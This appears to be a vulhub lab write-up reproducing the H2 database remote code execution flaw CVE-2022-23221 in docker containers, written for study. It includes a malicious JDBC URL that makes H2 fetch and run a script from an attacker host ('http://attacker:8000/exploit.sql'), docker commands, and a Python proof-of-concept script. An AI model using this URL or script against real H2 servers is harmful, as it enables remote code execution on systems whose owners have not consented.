
vulhub/H2-database/CVE-2022-23221
H2 is a relational database management system that provides the ability to compile and execute Java code directly within the SQL engine.
The H2 driver parses JDBC URLs to establish connections between applications and databases. Configuration parameters included in the URL can control the initial state or behavior of the database.
In H2 versions prior to 2.1.210, there is an issue where remote SQL scripts can be executed through the INIT parameter of the JDBC URL. Attackers can exploit this by injecting a malicious SQL script remotely and executing system commands through the syntax within it, leading to CVE-2022-23221.
Characteristics of this vulnerability:
Vulnerability scope
IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/attacker-file.sql'.
IGNORE_UNKNOWN_SETTINGS=TRUE, FORBID_CREATION=FALSE -> Bypass security settings
INIT=RUNSCRIPT FROM 'http://attacker-ip/attacker-file.sql' -> SQL command automatically executed when the application connects to the DB
CREATE ALIAS SQL statement.
CREATE ALIAS statement within the remotely executed script causes H2 to execute Java functions inside the script, resulting in RCE.Scenario
id, whoami, pwd, it means the vulnerable H2 environment is configured and the exploit.sql file was remotely downloaded from the external attacker server and executed during H2's parsing of the malicious JDBC URL.Environment Setup
docker compose up -d

http://your-ip:8082tcp://your-ip:9092http://your-ip:8000 : serves exploit.sqlAfter setting up the environment, access http://your-ip:8082 to see the H2 web page.
: Since security policies are applied in the web console, the parameters that are vulnerability conditions may be filtered. Therefore, we reproduce the vulnerability by inputting a JDBC URL containing malicious parameters directly via CLI and verify the results.
Normal JDBC URL: "jdbc:h2:mem:test"
Normal request command
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:mem:test" \
-user sa \
-password ""
Execution result

Input the malicious JDBC URL into the H2 driver to attempt connection to the attacker server. There are two ways to input the URL.
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
-user sa \
-password ""
python3 poc.py

H2 requests (HTTP GET) the exploit.sql file from the attacker server according to INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql' specified in the INIT parameter of the JDBC URL, and executes it within the H2 database.
docker logs attacker shows the exploit.sql file request logs from the h2-vulnerable server.docker logs attacker

#!/usr/bin/env python3
# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.
import subprocess
import time
import sys
"""
함수 이름: exploit_h2()
기능: H2 DB에 악의적인 JDBC URL을 전달하여 공격을 수행한다.
반환값: True->공격 성공, False->공격 실패
"""
def exploit_h2():
# H2 서버 준비 대기
time.sleep(3)
# 검증 우회 파라미터가 포함된 JDBC URL
# IGNORE_UNKNOWN_SETTINGS=TRUE: H2의 입력 검증을 우회함
# FORBID_CREATION=FALSE: 원격 DB 생성에 대한 경계를 제거함
# INIT=RUNSCRIPT FROM: 연결(시작) 시 원격 SQL 스크립트를 실행함
jdbc_url = "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
try:
# H2 Shell을 통해서 악의적인 JDBC URL로 연결됨
cmd = [
'docker', 'exec', 'h2-vulnerable',
'java', '-cp', '/h2-bin/h2.jar',
'org.h2.tools.Shell',
'-url', jdbc_url,
'-user', 'sa',
'-password', ''
]
# Docker 명령어 실행 및 결과
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=15
)
return True
except Exception as e:
print(f"[-] 에러: {e}")
return False
"""
함수 이름: main()
기능: 공격 실행 및 공격 성공여부를 출력한다.
반환값: 없음
"""
def main():
if exploit_h2():
print("[+] 공격 완료")
else:
print("[-] 공격 실패")
sys.exit(1)
if __name__ == "__main__":
main()
As a result of executing the exploit.sql file, the logs of the h2-vulnerable server display the string "EXPLOITED" along with the results of the commands id, whoami, pwd.
You can check the logs with docker logs h2-vulnerable.
docker logs h2-vulnerable`

=> This indicates that the vulnerable H2 environment was configured, and the remote file download and execution succeeded during H2's parsing of the malicious JDBC URL.